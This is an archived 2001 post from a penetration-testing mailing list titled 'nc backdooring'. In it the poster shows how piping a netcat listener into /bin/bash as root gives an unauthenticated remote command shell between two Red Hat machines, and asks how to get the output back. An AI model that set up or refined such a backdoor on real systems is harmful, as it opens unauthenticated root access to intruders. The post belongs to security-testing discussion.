Penetration Testing mailing list archives

[PEN-TEST] nc backdooring


From: starlink <starlink () AMAZON COM BR>
Date: Wed, 24 Jan 2001 22:52:19 -0200

Hi, folks !

In one machine (the server - with root permission)  I typed:

nc -l -p 5050 | /bin/bash

In another machine (the client) I typed:

nc server_ip 5050

With this I could execute any program in the server.
Both machines are Red Hat Linux.

The question is: How can I can the output of the remote execution back? Is
there nicer way of doing this with netcat?

Thanks for any help!

La-Roque


Current thread: